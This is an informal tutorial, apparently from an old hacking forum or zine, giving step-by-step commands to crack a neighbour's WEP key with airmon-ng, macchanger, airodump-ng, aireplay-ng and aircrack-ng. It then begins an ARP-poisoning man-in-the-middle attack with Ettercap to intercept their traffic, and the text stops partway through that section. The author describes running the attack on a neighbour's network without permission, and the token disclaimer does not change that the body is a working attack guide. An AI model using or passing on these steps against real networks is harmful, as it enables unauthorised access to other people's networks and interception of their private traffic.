Hacking wireless networksby data

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Hacking Wireless Networks
by data
-disclaimer-
The sole purpose of this article is so that you may be informed
about how your neighbor may be able to take a laptop, crack your
wep/wpa key to your router you think is safe, then reroute all your
internet traffic to his computer you think he can't look at, and even
watch you browse the internet in real time when you think nobody
is watching.
-What I will be Going Over-
In this article, I don't plan on giving you any bullshit. I don't plan on hinting towards how
to break into a wifi network, I will show you how to break into a wifi network. I will do it simple
steps, and only break them down if I feel that you will need it or can benefit from knowing it.
The following subjects I will touch on include the following:
1. Brief Introduction to Backtrack
2. Cracking the WEP Key (we will go over WEP cracking, I may write another one on
WPA a bit later...)
3. MITM Attack
4. Basic Network Analysis
-Brief Introduction to Backtrack-
Backtrack is something that is essential, in my opinion, to be in any hackers toolbox. It
is a live-linux cd that is compatible with most laptops (Just for reference sake, I am using my
Eee PC with an external DVDRom drive to boot it). All you have to do is go to www.remote-
exploit.org and download the ISO that fits what you would like to use it on (CD, DVD, or
USB/SD). Once you do that, you will need to to stick the CD/DVD/USB/SD into your laptop,
and restart. When you restart, you must hit whatever key you need to do load the boot
options, for most computers it's F8 or F9, for mine, it's the ESC key. Once you boot into it, you
will have to go through a few menus, basically all you have to do is keep hitting enter until the
KDE loads.
When the boot is finished, you should see a screen similar to this:
-Cracking the WEP Key-
Note: For reference, since not all parameters are the same for each laptop, I have put them as variables ($) where
you plug in what is necessary for you.
1. Open a new shell prompt:
1. Type airmon-ng to see what interfaces are available. As you can see I have 2
interfaces, wifi0 and ath0, but wifi0 is the parent of ath0, so this will be a bit tricky. Most
laptops only have one interface.
2. Type airmon-ng stop ath0 to stop the ath0 interface
3. Type airmon-ng start wifi0 so it puts ath0 into monitor mode
4. Type clear to clear the screen then type ifconfig ath0 down
5. Now we need to change the MAC address, to do this type macchanger –mac
00:11:22:33:44:55 ath0
6. Now we need to turn our interfaces back on by typing airmon-ng start wifi0
7. Now we get down to the meat and bones, we can start scanning for networks by typing
in airodump-ng ath0
8. If you already know the ESSID of the network you would like to crack the WEP key for,
go right ahead and crack it, but because I am doing this on a neighbor, I took a guess
that it was the one with the highest PWR. Which is linksys---- (blocked out for security
purposes)
9. Now we are going to single that network out by typing in the following:
airodump-ng -c $CHANNEL -w wepcrack –bssid $BSSID ath0
11.Now our goal is to get the #Data field to reach around 10,000 (just to be safe) so we
have to provoke the data by first associating ourselves with the network. Do this by
typing aireplay-ng -1 0 -a $BSSID -h 00:11:22:33:44:55 -e $ESSID ath0
i don't think I would need to break this down for you, to do this, I am sure you can just
look at what I did for each of the variables and plug in your own.
12.Now that were associated, we can start sending packets back to the network, therfore
increasing the amount in the #Data field. We do this by typing in aireplay-ng -3 -b
$BSSID -h 00:11:22:33:44:55 ath0
13.Once you think the #Data has climbbed to a decent amount, open a new shell prompt
and type the following: aircrack-ng -n 64 -b $BSSID wepcrack-01.cap
Congratulations! We just cracked our first WEP key. Now what I am going to do is
restart my laptop and boot into my regular OS and connect to the network now that I have the
WEP key.
-MITM Attack-
In order to intercept their packets, we will need to find some way to take all their
internet traffic, forward it to our laptop, then to the internet. How do we do this? Yup, a MITM
attack. Here is a simple picture to demonstrate:
So now you may be asking, how do I do this!? Ettercap is the answer, if your doing this
on a Windows machine, your going to have to google it to install it, but if your on *nix, you can
download and install it simply by typing sudo apt-get install ettercap
Once it is done, we can open the GUI for it by typing sudo ettercap -G into the shell.
1. Go to Sniff > Unified Sniffing and then choose your interface, mine, of course, is ath0
2. From there go to Hosts > Sccan for Hosts
3. Now we need to see what hosts are up, do this by going to Hosts > Host List
4. Now, since it is common sense that usually the *.*.*.1 IP is the router, we are going to
highlight that, and click Add to Target 1, and since I don't know what all the other IP's
go to, I will highlight all the other IP's and click Add to Target 2
5. Go to MITM > arp poisoning and press ok, don't check any of the boxes.
6. Now go to Start > Sniffer
7. Minimize ettercap